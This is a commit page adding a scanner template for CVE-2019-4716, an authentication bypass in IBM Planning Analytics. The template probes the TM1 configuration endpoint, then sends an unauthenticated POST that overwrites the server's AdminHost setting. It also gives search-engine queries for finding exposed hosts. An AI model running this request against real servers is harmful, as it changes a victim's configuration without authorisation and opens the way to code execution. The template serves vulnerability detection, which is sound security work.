Improve CVE-2019-4716 template structure and reduce false positives

fixt yamllint
Add CVE-2019-4716 IBM Planning Analytics RCE template
2026-11-07 08:36:19 -10:00 · 2025-07-18 14:01:53 +04:00 · 2025-07-18 11:41:35 +05:30 · 2025-07-18 11:15:34 +05:30
1 changed files with 78 additions and 0 deletions
@@ -0,0 +1,78 @@
+id: CVE-2019-4716
+
+info:
+  name: IBM Planning Analytics 2.0.0-2.0.8 - Authentication Bypass & Remote Code Execution
+  author: pranjal
+  severity: critical
+  description: |
+    IBM Planning Analytics versions 2.0.0 through 2.0.8 contain a configuration overwrite vulnerability caused by unauthenticated access, allowing attackers to login as 'admin' and execute code as root or SYSTEM via TM1 scripting.
+  impact: |
+    An attacker can exploit this vulnerability to gain administrative access and execute arbitrary code with elevated privileges.
+  remediation: |
+    Upgrade IBM Planning Analytics to version 2.0.9 or later to fix the authentication bypass and remote code execution vulnerability.
+  reference:
+    - https://packetstormsecurity.com/files/156953/IBM-Cognos-TM1-IBM-Planning-Analytics-Server-Configuration-Overwrite-Code-Execution.html
+    - https://seclists.org/fulldisclosure/2020/Mar/44
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-4716
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2019-4716
+    cwe-id: CWE-287
+    cpe: cpe:2.3:a:ibm:planning_analytics:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 2
+    vendor: ibm
+    product: planning_analytics
+    verified: false
+    shodan-query: "tm1 planning analytics"
+    fofa-query: "tm1 || \"planning analytics\""
+  tags: cve,cve2019,ibm,planning-analytics,tm1,rce,auth-bypass,intrusive
+
+flow: http(1) && http(2)
+
+http:
+  # Step 1: Check if IBM Planning Analytics/TM1 is running
+  - raw:
+      - |
+        GET /tm1/api/v1/Configuration HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
+        Accept: application/json
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code==200'
+          - 'contains(tolower(body), "adminhost") || contains(tolower(body), "adminport") || contains(tolower(body), "configuration")'
+        condition: and
+        internal: true
+
+  # Step 2: Authentication bypass via configuration overwrite
+  - raw:
+      - |
+        POST /tm1/api/v1/Configuration/AdminHost HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
+        Accept: application/json
+
+        {
+          "AdminHost": "{{randstr}}",
+          "AdminPort": 1234
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+          - 201
+
+      - type: word
+        part: body
+        words:
+          - "success"
+          - "updated"
+          - "configured"
+        condition: or
Author	SHA1	Message	Date
Prince Chaddha	94508440ba	Improve CVE-2019-4716 template structure and reduce false positives	2025-07-18 14:01:53 +04:00
Pranjal6955	6a7e8750d2	fixt yamllint	2025-07-18 11:41:35 +05:30
Pranjal6955	0e41b71c5a	Add CVE-2019-4716 IBM Planning Analytics RCE template	2025-07-18 11:15:34 +05:30